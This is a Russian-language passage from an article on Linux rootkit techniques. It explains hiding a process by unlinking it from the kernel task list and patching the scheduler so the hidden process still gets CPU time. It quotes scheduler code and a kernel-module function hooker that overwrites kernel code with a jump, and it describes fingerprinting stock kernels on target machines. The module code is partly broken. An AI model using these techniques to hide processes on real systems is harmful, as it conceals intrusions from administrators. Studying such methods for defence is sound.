Прятки в linux

       

Исключение процесса из списка задач


Перечень всех процессоров хранится внутри ядра в виде двунаправленного списка task_struct, определение которого можно найти в файле linux/sched.h. next_task

указывает на следующий процесс в списке, prev_task – на предыдущий. Физически task_struct

содержится внутри PCB-блоков (Process Control Block), адрес которых известен каждому процессу. Переключение контекста осуществляется планировщиком (scheduler), который определяет какой процесс будет выполняется следующим (см. рис 3). Если мы исключим наш процесс из списка, он автоматически исчезнет из списка процессов /proc, но больше никогда не получит управление, что в наши планы вообще-то не входит.

Рисунок 3 организация процессов в Линухе

Просматривая список процессов, легко обнаружить, что в нем отсутствует процесс, PID которого равен нулю. А ведь такой процесс (точнее — псевдопроцесс) есть! Он создается операционной системой для подсчета загрузки ЦП и прочих служебных целей.

Допустим, нам необходимо скрыть процесс с идентификатором 1901. Исключаем его из двунаправленного списка, склеивая между собой поля next_task/prev_task

двух соседних процессов. Подцепляем наш процесс к процессу с нулевым PID'ом, оформляя себя как материнский процесс (за это отвечает поле p_pptr) и… модифицируем код планировщика так, чтобы родитель процесса с нулевым PID'ом хотя бы эпизодически получал управление (см. рис 4). Если необходимо скрыть более одного процесса, их можно объединить в цепочку, используя поле p_pptr или любое другое реально незадействованное поле.

Рисунок 4 удаление процесса из двунаправленного списка процессов

Исходный код планировщика содержится в файле /usr/src/linux/kernel/sched.c. Нужный нам фрагмент легко найти по ключевому слову "goodness" (имя функции, определяющей "значимость" процесса в глазах планировщика). В различных ядрах он выглядит по разному. Например, моя версия реализована так:

c

= -1000;                        // начальное значение "веса"


// ищем процесс с наибольшим "весом" в очереди исполняющихся процессов

while (p != &init_task)

{

       // определяем "вес" процесса в глазах планировщика

       // (т.е. степень его нужды в процессорном времени)

       weight = goodness(prev, p);

      

       // выбираем процесс сильнее всех нуждающихся в процессорном времени

       // для процессоров с одинаковым "весом" используем поле prev

       if (weight > c)

       {

              c = weight; next = p;

       }

       p = p->next_run;

}

if (!c)

{

       // все процессы выработали свои кванты, начинаем новую эпоху

       // хорошее место, чтобы добавить передачу управления на замаскированный процесс

       …

}

Листинг 5 сердце планировщика

Процедура внедрения в планировщик осуществляется по стандартной схеме: а) сохраняем затираемые инструкции в стеке; б) вставляем команду перехода на нашу функцию, распределяющую процессорные кванты нулевого процесса среди скрытых процессов; в) выполняем ранее сохраненные инструкции; г) возвращаем управление функции-носителю.

Простейшая программная реализация выглядит так:

/*

       DoubleChain, a simple function hooker

       by Dark-Angel <Dark0@angelfire.com>

*/

#define __KERNEL__

#define MODULE

#define LINUX

#include <linux/module.h>

#define CODEJUMP 7

#define BACKUP 7

/* The number of the bytes to backup is variable (at least 7),

the important thing  is never break an istruction

*/

static char backup_one[BACKUP+CODEJUMP]="\x90\x90\x90\x90\x90\x90\x90"

                                    "\xb8\x90\x90\x90\x90\xff\xe0";

       static char jump_code[CODEJUMP]="\xb8\x90\x90\x90\x90\xff\xe0";

#define FIRST_ADDRESS 0xc0101235 //Address of the function to overwrite

unsigned long *memory;

void cenobite(void) {

       printk("Function hooked successfully\n");

       asm volatile("mov %ebp,%esp;popl %esp;jmp backup_one);



/*

This asm code is for stack-restoring. The first bytes of a function

(Cenobite now) are always for the parameters pushing.Jumping away the

function can't restore the stack, so we must do it by hand.

With the jump we go to execute the backupped code and then we jump in

the original function.

*/

}

int init_module(void) {

*(unsigned long *)&jump_code[1]=(unsigned long )cenobite;

*(unsigned long *)&backup_one[BACKUP+1]=(unsigned long)(FIRST_ADDRESS+

                                                BACKUP);

memory=(unsigned long *)FIRST_ADDRESS;

memcpy(backup_one,memory,CODEBACK);

memcpy(memory,jump_code,CODEJUMP);

return 0;

       }

void cleanup_module(void) {

       memcpy(memory,backup_one,BACKUP);

}

Листинг 6 процедура-гарпун, вонзающаяся в тело планировщика

Поскольку, машинное представление планировщика зависит не только он версии ядра, но и от ключей компиляции, атаковать произвольную систему практически нереально. Предварительно необходимо скопировать ядро на свою машину и дизассемблировать его, а после разработать подходящую стратегию внедрения.

Если атакуемая машина использует штатное ядро, мы можем попробовать опознать его версию по сигнатуре, используя заранее подготовленную стратегию внедрения. Далеко не все админы перекомпилируют свои ядра, поэтому такая тактика успешно работает. Впервые она была представлена на европейской конференции Black Hat в 2004 году, электронная презентация которой находится в файле http://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-butler.pdf. По этому принципу работают многие rootkit'ы и, в частности, Phantasmagoria.


Содержание раздела